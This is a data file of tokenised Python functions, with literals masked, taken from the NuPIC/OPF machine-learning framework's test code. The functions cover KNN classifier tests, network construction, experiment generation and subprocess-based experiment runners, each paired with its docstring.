{"signature": "def getNumTestPatterns(short=<NUM_LIT:0>):", "body": "if short==<NUM_LIT:0>:<EOL><INDENT>LOGGER.info(\"<STR_LIT>\")<EOL>numPatterns = numpy.random.randint(<NUM_LIT>, <NUM_LIT>)<EOL>numClasses = numpy.random.randint(<NUM_LIT:50>, <NUM_LIT>)<EOL><DEDENT>elif short==<NUM_LIT:1>:<EOL><INDENT>LOGGER.info(\"<STR_LIT>\")<EOL>numPatterns = numpy.random.randint(<NUM_LIT>, <NUM_LIT>)<EOL>numClasses = numpy.random.randint(<NUM_LIT:50>, <NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>LOGGER.info(\"<STR_LIT>\")<EOL>numPatterns = numpy.random.randint(<NUM_LIT>, <NUM_LIT>)<EOL>numClasses = numpy.random.randint(<NUM_LIT:30>, <NUM_LIT:1000>)<EOL><DEDENT>LOGGER.info(\"<STR_LIT>\", numPatterns)<EOL>LOGGER.info(\"<STR_LIT>\", numClasses)<EOL>return numPatterns, numClasses<EOL>", "docstring": "Return the number of patterns and classes the test should use.", "id": "f17354:m2"}
{"signature": "def runTestKNNClassifier(self, short = <NUM_LIT:0>):", "body": "failures = \"<STR_LIT>\"<EOL>if short != <NUM_LIT:2>:<EOL><INDENT>numpy.random.seed(<NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>seed_value = int(time.time())<EOL>numpy.random.seed(seed_value)<EOL>LOGGER.info('<STR_LIT>', seed_value)<EOL>f = open('<STR_LIT>', '<STR_LIT:a>')<EOL>f.write(str(seed_value))<EOL>f.write('<STR_LIT:\\n>')<EOL>f.close()<EOL><DEDENT>failures += simulateKMoreThanOne()<EOL>LOGGER.info(\"<STR_LIT>\")<EOL>numPatterns, numClasses = getNumTestPatterns(short)<EOL>patternSize = <NUM_LIT:100><EOL>patterns = numpy.random.rand(numPatterns, patternSize)<EOL>patternDict = dict()<EOL>testDict = dict()<EOL>for i in xrange(numPatterns):<EOL><INDENT>patternDict[i] = dict()<EOL>patternDict[i]['<STR_LIT>'] = patterns[i]<EOL>patternDict[i]['<STR_LIT>'] = numpy.random.randint(<NUM_LIT:0>, numClasses-<NUM_LIT:1>)<EOL>testDict[i] = copy.deepcopy(patternDict[i])<EOL>testDict[i]['<STR_LIT>'][:int(<NUM_LIT>*patternSize)] = numpy.random.rand()<EOL>testDict[i]['<STR_LIT>'] = None<EOL><DEDENT>LOGGER.info(\"<STR_LIT>\")<EOL>knn = KNNClassifier(k=<NUM_LIT:1>)<EOL>failures += simulateClassifier(knn, patternDict,\"<STR_LIT>\")<EOL>LOGGER.info(\"<STR_LIT>\")<EOL>knnL1 = KNNClassifier(k=<NUM_LIT:1>, distanceNorm=<NUM_LIT:1.0>)<EOL>failures += simulateClassifier(knnL1, patternDict,\"<STR_LIT>\")<EOL>LOGGER.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>knnExact = KNNClassifier(k=<NUM_LIT:1>, exact=True)<EOL>failures += simulateClassifier(knnExact,<EOL>patternDict,<EOL>\"<STR_LIT>\",<EOL>testDict=testDict)<EOL>numPatterns, numClasses = getNumTestPatterns(short)<EOL>patterns = (numpy.random.rand(numPatterns, <NUM_LIT>) > <NUM_LIT>).astype(RealNumpyDType)<EOL>patternDict = dict()<EOL>for i in patterns:<EOL><INDENT>iString = str(i.tolist())<EOL>if not patternDict.has_key(iString):<EOL><INDENT>randCategory = numpy.random.randint(<NUM_LIT:0>, numClasses-<NUM_LIT:1>)<EOL>patternDict[iString] = dict()<EOL>patternDict[iString]['<STR_LIT>'] = i<EOL>patternDict[iString]['<STR_LIT>'] = randCategory<EOL><DEDENT><DEDENT>LOGGER.info(\"<STR_LIT>\")<EOL>knnDense = KNNClassifier(k=<NUM_LIT:1>)<EOL>failures += simulateClassifier(knnDense, patternDict,\"<STR_LIT>\")<EOL>self.assertEqual(len(failures), <NUM_LIT:0>,<EOL>\"<STR_LIT>\" + failures)<EOL>if short == <NUM_LIT:2>:<EOL><INDENT>f = open('<STR_LIT>', '<STR_LIT:a>')<EOL>f.write('<STR_LIT>')<EOL>f.close()<EOL><DEDENT>", "docstring": "Test the KNN classifier in this module. short can be:\n            0 (short), 1 (medium), or 2 (long)", "id": "f17354:c0:m0"}
{"signature": "def _setupTempDirectory(filename):", "body": "tmpDir = tempfile.mkdtemp()<EOL>tmpFileName = os.path.join(tmpDir, os.path.basename(filename))<EOL>return tmpDir, tmpFileName<EOL>", "docstring": "Create a temp directory, and return path to filename in that directory", "id": "f17359:m1"}
{"signature": "def _createEncoder():", "body": "encoder = MultiEncoder()<EOL>encoder.addMultipleEncoders({<EOL>'<STR_LIT>': dict(fieldname='<STR_LIT>', type='<STR_LIT>',<EOL>timeOfDay=(<NUM_LIT:5>,<NUM_LIT:5>), forced=True),<EOL>'<STR_LIT>': dict(fieldname='<STR_LIT>', type='<STR_LIT>',<EOL>name='<STR_LIT>', minval=<NUM_LIT:0>, maxval=<NUM_LIT>,<EOL>clipInput=True, w=<NUM_LIT:5>, resolution=<NUM_LIT:10>, forced=True),<EOL>'<STR_LIT>': dict(fieldname='<STR_LIT>',type='<STR_LIT>',<EOL>name='<STR_LIT>', minval=<NUM_LIT:0>,maxval=<NUM_LIT>,<EOL>clipInput=True, w=<NUM_LIT:5>, resolution=<NUM_LIT:5>, forced=True),<EOL>})<EOL>return encoder<EOL>", "docstring": "Create the encoder instance for our test and return it.", "id": "f17359:m2"}
{"signature": "def _createOPFNetwork(addSP = True, addTP = False):", "body": "<EOL>sensorParams = dict(verbosity = _VERBOSITY)<EOL>encoder = _createEncoder()<EOL>trainFile = resource_filename(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>dataSource = FileRecordStream(streamID=trainFile)<EOL>dataSource.setAutoRewind(True)<EOL>n = Network()<EOL>n.addRegion(\"<STR_LIT>\", \"<STR_LIT>\", json.dumps(sensorParams))<EOL>sensor = n.regions['<STR_LIT>'].getSelf()<EOL>sensor.encoder = encoder<EOL>sensor.dataSource = dataSource<EOL>if addSP:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>g_spRegionConfig['<STR_LIT>'] = encoder.getWidth()<EOL>n.addRegion(\"<STR_LIT>\", \"<STR_LIT>\", json.dumps(g_spRegionConfig))<EOL>n.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>n.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL>n.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL>n.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL><DEDENT>if addTP and addSP:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>g_tpRegionConfig['<STR_LIT>'] = g_spRegionConfig['<STR_LIT>']<EOL>n.addRegion(\"<STR_LIT>\", \"<STR_LIT>\", json.dumps(g_tpRegionConfig))<EOL>n.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>n.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL>n.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL><DEDENT>elif addTP:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>g_tpRegionConfig['<STR_LIT>'] = encoder.getWidth()<EOL>n.addRegion(\"<STR_LIT>\", \"<STR_LIT>\", json.dumps(g_tpRegionConfig))<EOL>n.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>n.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL><DEDENT>return n<EOL>", "docstring": "Create a 'new-style' network ala OPF and return it.\n    If addSP is true, an SPRegion will be added named 'level1SP'.\n    If addTP is true, a TMRegion will be added named 'level1TP'", "id": "f17359:m3"}
{"signature": "def _executeExternalCmdAndReapStdout(args):", "body": "_debugOut((\"<STR_LIT>\") %(args,))<EOL>p = subprocess.Popen(args,<EOL>env=os.environ,<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE)<EOL>_debugOut((\"<STR_LIT>\") % (args,))<EOL>(stdoutData, stderrData) = p.communicate()<EOL>_debugOut((\"<STR_LIT>\" +<EOL>\"<STR_LIT>\") %(args, p.returncode, type(stdoutData), stdoutData, stderrData))<EOL>result = dict(<EOL>exitStatus = p.returncode,<EOL>stdoutData = stdoutData,<EOL>stderrData = stderrData,<EOL>)<EOL>_debugOut((\"<STR_LIT>\") %(args, pprint.pformat(result, indent=<NUM_LIT:4>)))<EOL>return result<EOL>", "docstring": "args:     Args list as defined for the args parameter in subprocess.Popen()\n\nReturns:  result dicionary:\n            {\n              'exitStatus':<exit-status-of-external-command>,\n              'stdoutData':\"string\",\n              'stderrData':\"string\"\n            }", "id": "f17360:m0"}
{"signature": "def _getTestList():", "body": "suiteNames = ['<STR_LIT>']<EOL>testNames = []<EOL>for suite in suiteNames:<EOL><INDENT>for f in dir(eval(suite)):<EOL><INDENT>if f.startswith('<STR_LIT:test>'):<EOL><INDENT>testNames.append('<STR_LIT>' % (suite, f))<EOL><DEDENT><DEDENT><DEDENT>return testNames<EOL>", "docstring": "Get the list of tests that can be run from this module", "id": "f17360:m2"}
{"signature": "def setUp(self):", "body": "global g_myEnv<EOL>if not g_myEnv:<EOL><INDENT>params = type('<STR_LIT>', (object,), {'<STR_LIT>' : resource_filename(\"<STR_LIT>\", \"<STR_LIT>\")})<EOL>g_myEnv = MyTestEnvironment(params)<EOL><DEDENT>", "docstring": "Method called to prepare the test fixture. This is called by the\n        unittest framework immediately before calling the test method; any exception\n        raised by this method will be considered an error rather than a test\n        failure. The default implementation does nothing.", "id": "f17360:c1:m1"}
{"signature": "def tearDown(self):", "body": "self.resetExtraLogItems()<EOL>g_myEnv.cleanUp()<EOL>", "docstring": "Method called immediately after the test method has been called and the\n        result recorded. This is called even if the test method raised an exception,\n        so the implementation in subclasses may need to be particularly careful\n        about checking internal state. Any exception raised by this method will be\n        considered an error rather than a test failure. This method will only be\n        called if the setUp() succeeds, regardless of the outcome of the test\n        method. The default implementation does nothing.", "id": "f17360:c1:m2"}
{"signature": "def shortDescription(self):", "body": "return None<EOL>", "docstring": "Override to force unittest framework to use test method names instead\n        of docstrings in the report.", "id": "f17360:c1:m3"}
{"signature": "def getModules(self, expDesc, hsVersion='<STR_LIT>'):", "body": "<EOL>shutil.rmtree(g_myEnv.testOutDir, ignore_errors=True)<EOL>args = [<EOL>\"<STR_LIT>\" % (json.dumps(expDesc)),<EOL>\"<STR_LIT>\" % (g_myEnv.testOutDir),<EOL>\"<STR_LIT>\" % (hsVersion)<EOL>]<EOL>self.addExtraLogItem({'<STR_LIT:args>':args})<EOL>experiment_generator.expGenerator(args)<EOL>descriptionPyPath = os.path.join(g_myEnv.testOutDir, \"<STR_LIT>\")<EOL>permutationsPyPath = os.path.join(g_myEnv.testOutDir, \"<STR_LIT>\")<EOL>return (self.checkPythonScript(descriptionPyPath),<EOL>self.checkPythonScript(permutationsPyPath))<EOL>", "docstring": "This does the following:\n\n        1.) Calls ExpGenerator to generate a base description file and permutations\n        file from expDescription.\n\n        2.) Verifies that description.py and permutations.py are valid python\n        modules that can be loaded\n\n        3.) Returns the loaded base description module and permutations module\n\n        Parameters:\n        -------------------------------------------------------------------\n        expDesc:       JSON format experiment description\n        hsVersion:     which version of hypersearch to use ('v2'; 'v1' was dropped)\n        retval:        (baseModule, permutationsModule)", "id": "f17360:c1:m5"}
{"signature": "def runBaseDescriptionAndPermutations(self, expDesc, hsVersion, maxModels=<NUM_LIT:2>):", "body": "<EOL>self.getModules(expDesc, hsVersion=hsVersion)<EOL>permutationsPyPath = os.path.join(g_myEnv.testOutDir, \"<STR_LIT>\")<EOL>args = [g_myEnv.testOutDir]<EOL>from nupic.frameworks.opf.experiment_runner import runExperiment<EOL>LOGGER.info(\"<STR_LIT>\")<EOL>LOGGER.info(\"<STR_LIT>\")<EOL>LOGGER.info(\"<STR_LIT>\")<EOL>LOGGER.info(\"<STR_LIT>\")<EOL>runExperiment(args)<EOL>jobParams = {'<STR_LIT>' : generatePersistentJobGUID(),<EOL>'<STR_LIT>': permutationsPyPath,<EOL>'<STR_LIT>': hsVersion,<EOL>}<EOL>if maxModels is not None:<EOL><INDENT>jobParams['<STR_LIT>'] = maxModels<EOL><DEDENT>args = ['<STR_LIT>', '<STR_LIT>' % (json.dumps(jobParams))]<EOL>self.resetExtraLogItems()<EOL>self.addExtraLogItem({'<STR_LIT>':jobParams})<EOL>LOGGER.info(\"<STR_LIT>\")<EOL>LOGGER.info(\"<STR_LIT>\")<EOL>LOGGER.info(\"<STR_LIT>\")<EOL>LOGGER.info(\"<STR_LIT>\")<EOL>jobID = hypersearch_worker.main(args)<EOL>cjDAO = ClientJobsDAO.get()<EOL>models = cjDAO.modelsGetUpdateCounters(jobID)<EOL>modelIDs = [model.modelId for model in models]<EOL>results = cjDAO.modelsGetResultAndStatus(modelIDs)<EOL>if maxModels is not None:<EOL><INDENT>self.assertEqual(len(results), maxModels, \"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (maxModels, len(results)))<EOL><DEDENT>for result in results:<EOL><INDENT>self.assertEqual(result.completionReason, cjDAO.CMPL_REASON_EOF,<EOL>\"<STR_LIT>\" % (result.completionMsg))<EOL><DEDENT>return results<EOL>", "docstring": "This does the following:\n\n        1.) Calls ExpGenerator to generate a base description file and permutations\n        file from expDescription.\n\n        2.) Verifies that description.py and permutations.py are valid python\n        modules that can be loaded\n\n        3.) Runs the base description.py as an experiment using OPF RunExperiment.\n\n        4.) Runs a Hypersearch using the generated permutations.py by passing it\n        to HypersearchWorker.\n\n        Parameters:\n        -------------------------------------------------------------------\n        expDesc:       JSON format experiment description\n        hsVersion:     which version of hypersearch to use ('v2'; 'v1' was dropped)\n        retval:        list of model results", "id": "f17360:c1:m6"}
{"signature": "def assertValidSwarmingAggregations(self, expDesc, expectedAttempts):", "body": "<EOL>minAggregation = dict(expDesc['<STR_LIT>']['<STR_LIT>'])<EOL>minAggregation.pop('<STR_LIT>')<EOL>(base, perms) = self.getModules(expDesc)<EOL>predictionSteps = expDesc['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]<EOL>self.assertEqual(base.control['<STR_LIT>']['<STR_LIT>'],<EOL>expDesc['<STR_LIT>']['<STR_LIT>'])<EOL>tmpAggregationInfo = rCopy(<EOL>base.config['<STR_LIT>'],<EOL>lambda value, _: value)<EOL>tmpAggregationInfo.pop('<STR_LIT>')<EOL>self.assertDictEqual(tmpAggregationInfo, minAggregation)<EOL>predictAheadTime = dict(minAggregation)<EOL>for key in predictAheadTime.keys():<EOL><INDENT>predictAheadTime[key] *=  predictionSteps<EOL><DEDENT>self.assertEqual(base.config['<STR_LIT>'],<EOL>predictAheadTime)<EOL>self.assertEqual(<EOL>perms.minimize,<EOL>(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"))<EOL>metrics = base.control['<STR_LIT>']<EOL>metricTuples = [(metric.metric, metric.inferenceElement, metric.params)for metric in metrics]<EOL>self.assertIn(('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>{'<STR_LIT>': <NUM_LIT:1000>, '<STR_LIT>': [predictionSteps],<EOL>'<STR_LIT>': '<STR_LIT>'}),<EOL>metricTuples)<EOL>aggPeriods = perms.permutations['<STR_LIT>']<EOL>aggAttempts = []<EOL>for agg in aggPeriods.choices:<EOL><INDENT>multipleOfMinAgg = aggregationDivide(agg, minAggregation)<EOL>self.assertIsInt(multipleOfMinAgg,<EOL>\"<STR_LIT>\"\"<STR_LIT>\" % (agg, minAggregation))<EOL>self.assertGreaterEqual(int(round(multipleOfMinAgg)), <NUM_LIT:1>,<EOL>\"<STR_LIT>\" %(agg, minAggregation))<EOL>requiredSteps = aggregationDivide(predictAheadTime, agg)<EOL>self.assertIsInt(requiredSteps,<EOL>\"<STR_LIT>\"\"<STR_LIT>\" % (agg, predictAheadTime))<EOL>self.assertGreaterEqual(int(round(requiredSteps)), <NUM_LIT:1>,<EOL>\"<STR_LIT>\"\"<STR_LIT>\" % (agg, predictAheadTime))<EOL>quotient = aggregationDivide(expDesc['<STR_LIT>'], agg)<EOL>self.assertIsInt(quotient,<EOL>\"<STR_LIT>\"\"<STR_LIT>\" % (agg, expDesc['<STR_LIT>']))<EOL>self.assertGreaterEqual(int(round(quotient)), <NUM_LIT:1>,<EOL>\"<STR_LIT>\"\"<STR_LIT:%s>\" % (agg, expDesc['<STR_LIT>']))<EOL>aggAttempts.append((int(round(multipleOfMinAgg)), int(requiredSteps)))<EOL><DEDENT>LOGGER.info(\"<STR_LIT>\", aggAttempts)<EOL>aggAttempts.sort()<EOL>expectedAttempts.sort()<EOL>self.assertEqual(aggAttempts, expectedAttempts, \"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\" %(expectedAttempts, aggAttempts))<EOL>", "docstring": "Test that the set of aggregations produced for a swarm are correct\n\n        Parameters:\n        -----------------------------------------------------------------------\n        expDesc:   JSON experiment description\n        expectedAttempts: list of (minAggregationMultiple, predictionSteps) pairs\n                          that we expect to find in the aggregation choices.", "id": "f17360:c1:m8"}
{"signature": "def shortDescription(self):", "body": "return None<EOL>", "docstring": "Override to force unittest framework to use test method names instead\n        of docstrings in the report.", "id": "f17363:c0:m0"}
{"signature": "def compareOPFPredictionFiles(self, path1, path2, temporal,<EOL>maxMismatches=None):", "body": "experimentLabel = \"<STR_LIT>\" %(\"<STR_LIT>\" if temporal else \"<STR_LIT>\")<EOL>print(\"<STR_LIT>\" % (<EOL>experimentLabel, path1, path2))<EOL>self.assertTrue(<EOL>os.path.isfile(path1),<EOL>msg=\"<STR_LIT>\" % (<EOL>path1))<EOL>(opf1CsvReader, opf1FieldNames) = self._openOpfPredictionCsvFile(path1)<EOL>self.assertTrue(<EOL>os.path.isfile(path2),<EOL>msg=\"<STR_LIT>\" % (<EOL>path2))<EOL>(opf2CsvReader, opf2FieldNames) = self._openOpfPredictionCsvFile(path2)<EOL>self.assertEqual(len(opf1FieldNames), len(opf2FieldNames),<EOL>(\"<STR_LIT>\"<EOL>\"<STR_LIT>\") % (<EOL>experimentLabel, len(opf1FieldNames),<EOL>len(opf2FieldNames)))<EOL>self.assertEqual(opf1FieldNames, opf2FieldNames)<EOL>opf1EOF = False<EOL>opf2EOF = False<EOL>opf1CurrentDataRowIndex = -<NUM_LIT:1><EOL>opf2CurrentDataRowIndex = -<NUM_LIT:1><EOL>if temporal:<EOL><INDENT>_skipOpf1Row = next(opf1CsvReader)<EOL>opf1CurrentDataRowIndex += <NUM_LIT:1><EOL>_skipOpf2Row = next(opf2CsvReader)<EOL>opf2CurrentDataRowIndex += <NUM_LIT:1><EOL><DEDENT>fieldsIndexesToCompare = tuple(range(<NUM_LIT:2>, len(opf1FieldNames), <NUM_LIT:2>))<EOL>self.assertGreater(len(fieldsIndexesToCompare), <NUM_LIT:0>)<EOL>print((\"<STR_LIT>\"<EOL>\"<STR_LIT>\") % (<EOL>experimentLabel,<EOL>fieldsIndexesToCompare,<EOL>[opf1FieldNames[i] for i in fieldsIndexesToCompare],<EOL>[opf2FieldNames[i] for i in fieldsIndexesToCompare]))<EOL>for i in fieldsIndexesToCompare:<EOL><INDENT>self.assertTrue(opf1FieldNames[i].endswith(\"<STR_LIT>\"),<EOL>msg=\"<STR_LIT>\" % opf1FieldNames[i])<EOL>self.assertTrue(opf2FieldNames[i].endswith(\"<STR_LIT>\"),<EOL>msg=\"<STR_LIT>\" % opf2FieldNames[i])<EOL><DEDENT>mismatchCount = <NUM_LIT:0><EOL>while True:<EOL><INDENT>try:<EOL><INDENT>opf1Row = next(opf1CsvReader)<EOL><DEDENT>except StopIteration:<EOL><INDENT>opf1EOF = True<EOL><DEDENT>else:<EOL><INDENT>opf1CurrentDataRowIndex += <NUM_LIT:1><EOL><DEDENT>try:<EOL><INDENT>opf2Row = next(opf2CsvReader)<EOL><DEDENT>except StopIteration:<EOL><INDENT>opf2EOF = True<EOL><DEDENT>else:<EOL><INDENT>opf2CurrentDataRowIndex += <NUM_LIT:1><EOL><DEDENT>if opf1EOF != opf2EOF:<EOL><INDENT>print((\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\") % (<EOL>experimentLabel,<EOL>opf1EOF, opf1CurrentDataRowIndex,<EOL>opf2EOF, opf2CurrentDataRowIndex))<EOL>return False<EOL><DEDENT>if opf1EOF and opf2EOF:<EOL><INDENT>break<EOL><DEDENT>self.assertEqual(len(opf1Row), len(opf2Row))<EOL>for i in fieldsIndexesToCompare:<EOL><INDENT>opf1FloatValue = float(opf1Row[i])<EOL>opf2FloatValue = float(opf2Row[i])<EOL>if opf1FloatValue != opf2FloatValue:<EOL><INDENT>mismatchCount += <NUM_LIT:1><EOL>print((\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\") % (<EOL>experimentLabel,<EOL>opf1CurrentDataRowIndex,<EOL>i,<EOL>opf1FieldNames[i],<EOL>opf1Row[i],<EOL>opf2Row[i],<EOL>opf1FloatValue,<EOL>opf2FloatValue,<EOL>opf1Row,<EOL>opf2Row))<EOL>if maxMismatches is not None and mismatchCount >= maxMismatches:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if mismatchCount != <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\" % (<EOL>experimentLabel, mismatchCount, path1, path2))<EOL>return False<EOL><DEDENT>self.assertEqual(opf1CurrentDataRowIndex, opf2CurrentDataRowIndex)<EOL>print((\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\") %(experimentLabel,<EOL>opf1CurrentDataRowIndex + <NUM_LIT:1>,<EOL>path1,<EOL>path2))<EOL>return True<EOL>", "docstring": "Compare temporal or non-temporal predictions for the given experiment\n        that just finished executing\n\n        experimentName:     e.g., \"gym\"; this string will be used to form\n                            a directory path to the experiments.\n\n        maxMismatches:      Maximum number of row mismatches to report before\n                            terminating the comparison; None means: report all\n                            mismatches\n\n        Returns:            True if equal; False if different", "id": "f17363:c0:m1"}
{"signature": "def _openOpfPredictionCsvFile(self, filepath):", "body": "<EOL>csvReader = self._openCsvFile(filepath)<EOL>names = next(csvReader)<EOL>_types = next(csvReader)<EOL>_specials = next(csvReader)<EOL>return (csvReader, names)<EOL>", "docstring": "Open an OPF prediction CSV file and advance it to the first data row\n\n        Returns:      the tuple (csvReader, fieldNames), where 'csvReader' is the\n                      csv reader object, and 'fieldNames' is a sequence of field\n                      names.", "id": "f17363:c0:m2"}
{"signature": "def _executeExternalCmdAndReapOutputs(args):", "body": "import subprocess<EOL>_debugOut((\"<STR_LIT>\") %(args,))<EOL>p = subprocess.Popen(args,<EOL>env=os.environ,<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE)<EOL>_debugOut((\"<STR_LIT>\") % (args,))<EOL>(stdoutData, stderrData) = p.communicate()<EOL>_debugOut((\"<STR_LIT>\" +\"<STR_LIT>\") %(args, p.returncode, type(stdoutData), stdoutData, stderrData))<EOL>result = dict(<EOL>exitStatus = p.returncode,<EOL>stdoutData = stdoutData,<EOL>stderrData = stderrData,<EOL>)<EOL>_debugOut((\"<STR_LIT>\") %(args, pprint.pformat(result, indent=<NUM_LIT:4>)))<EOL>return result<EOL>", "docstring": "args:     Args list as defined for the args parameter in subprocess.Popen()\n\nReturns:  result dicionary:\n            {\n              'exitStatus':<exit-status-of-external-command>,\n              'stdoutData':\"string\",\n              'stderrData':\"string\"\n            }", "id": "f17372:m0"}
{"signature": "def whoisCallersCaller():", "body": "import inspect<EOL>frameObj = inspect.stack()[<NUM_LIT:2>][<NUM_LIT:0>]<EOL>return inspect.getframeinfo(frameObj)<EOL>", "docstring": "Returns: Traceback namedtuple for our caller's caller", "id": "f17372:m2"}
{"signature": "def getOpfExperimentPath(self, experimentName):", "body": "path = os.path.join(self.__opfExperimentsParentDir, experimentName)<EOL>assert os.path.isdir(path),\"<STR_LIT>\" % (path,)<EOL>return path<EOL>", "docstring": "experimentName:     e.g., \"gym\"; this string will be used to form\n                    a directory path to the experiment.\n\nReturns:            absolute path to the experiment directory", "id": "f17372:c0:m2"}
{"signature": "def setUp(self):", "body": "global g_myEnv<EOL>if not g_myEnv:<EOL><INDENT>g_myEnv = MyTestEnvironment()<EOL><DEDENT>", "docstring": "Method called to prepare the test fixture. This is called immediately\n        before calling the test method; any exception raised by this method will be\n        considered an error rather than a test failure. The default implementation\n        does nothing.", "id": "f17372:c1:m0"}
{"signature": "def tearDown(self):", "body": "<EOL>self.resetExtraLogItems()<EOL>", "docstring": "Method called immediately after the test method has been called and the\n        result recorded. This is called even if the test method raised an exception,\n        so the implementation in subclasses may need to be particularly careful\n        about checking internal state. Any exception raised by this method will be\n        considered an error rather than a test failure. This method will only be\n        called if the setUp() succeeds, regardless of the outcome of the test\n        method. The default implementation does nothing.", "id": "f17372:c1:m1"}
{"signature": "def shortDescription(self):", "body": "return None<EOL>", "docstring": "Override to force unittest framework to use test method names instead\n        of docstrings in the report.", "id": "f17372:c1:m2"}
{"signature": "def executePositiveOpfExperiment(self, experimentName, short=False):", "body": "opfRunner = g_myEnv.getOpfRunExperimentPyPath()<EOL>opfExpDir = g_myEnv.getOpfExperimentPath(experimentName)<EOL>r = self.__executePositiveRunExperimentTest(runnerPath=opfRunner,<EOL>experimentDirPath=opfExpDir,<EOL>short=short)<EOL>return r<EOL>", "docstring": "Executes a positive OPF RunExperiment test as a subprocess and validates\n        its exit status.\n\n        experimentName:     e.g., \"gym\"; this string will be used to form\n                            a directory path to the experiment.\n\n        short:              if True, attempt to run the experiment with --testMode\n                            flag turned on, which causes all inference and training\n                            iteration counts to be overridden with small counts.\n\n        Returns:            result from _executeExternalCmdAndReapOutputs", "id": "f17372:c1:m3"}
{"signature": "def __executePositiveRunExperimentTest(self,<EOL>runnerPath,<EOL>experimentDirPath,<EOL>customOptions=[],<EOL>short=False):", "body": "<EOL>command = [<EOL>\"<STR_LIT>\",<EOL>runnerPath,<EOL>experimentDirPath,<EOL>]<EOL>command.extend(customOptions)<EOL>if short:<EOL><INDENT>command.append(\"<STR_LIT>\")<EOL><DEDENT>self.addExtraLogItem({'<STR_LIT>':command})<EOL>r = _executeExternalCmdAndReapOutputs(command)<EOL>self.addExtraLogItem({'<STR_LIT:result>':r})<EOL>_debugOut((\"<STR_LIT>\") % (command, r))<EOL>self.assertEqual(r['<STR_LIT>'], <NUM_LIT:0>,<EOL>(\"<STR_LIT>\") %(runnerPath, r['<STR_LIT>'],))<EOL>self.resetExtraLogItems()<EOL>return r<EOL>", "docstring": "Executes a positive RunExperiment.py test and performs\n        basic validation\n\n        runnerPath:         experiment running (LPF or OPF RunExperiment.py path)\n\n        experimentDirPath:  directory containing the description.py file of interest\n\n        short:              if True, attempt to run the experiment with --testMode\n                            flag turned on, which causes all inference and training\n                            iteration counts to be overridden with small counts.\n                            NOTE: if the (possibly aggregated) dataset has fewer\n                            rows than the count overrides, then an LPF experiment\n                            will fail.\n\n        Returns:            result from _executeExternalCmdAndReapOutputs", "id": "f17372:c1:m4"}
{"signature": "def getAllDirectoriesWithFile(path, filename, excludeDirs):", "body": "directoryList = []<EOL>for dirpath, dirnames, filenames in os.walk(path):<EOL><INDENT>for d in dirnames[:]:<EOL><INDENT>if d in excludeDirs:<EOL><INDENT>dirnames.remove(d)<EOL>print(\"<STR_LIT>\" % (os.path.join(dirpath, d)))<EOL><DEDENT>elif '<STR_LIT>' in os.listdir(os.path.join(dirpath, d)):<EOL><INDENT>dirnames.remove(d)<EOL>print(\"<STR_LIT>\" % (os.path.join(dirpath, d)))<EOL><DEDENT><DEDENT>for f in filenames:<EOL><INDENT>if f==filename:<EOL><INDENT>directoryList.append(dirpath)<EOL><DEDENT><DEDENT><DEDENT>return directoryList<EOL>", "docstring": "Returns a list of directories in the <path> with a given <filename>, excluding\n<excludeDirs>", "id": "f17376:m0"}
{"signature": "def getAllExperimentDirectories(excludedExperiments=[]):", "body": "excludedDirectories = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>excludedDirectories.extend(excludedExperiments)<EOL>return getAllDirectoriesWithFile(<EOL>path=\"<STR_LIT>\",<EOL>filename=\"<STR_LIT>\",<EOL>excludeDirs=excludedDirectories)<EOL>", "docstring": "Experiment directories are the directories with a description.py file", "id": "f17376:m1"}
{"signature": "def runReducedExperiment(path, reduced=True):", "body": "initExperimentPrng()<EOL>if reduced:<EOL><INDENT>args = [path, '<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>args = [path]<EOL><DEDENT>runExperiment(args)<EOL>", "docstring": "Run the experiment in the <path> with a reduced iteration count", "id": "f17376:m2"}
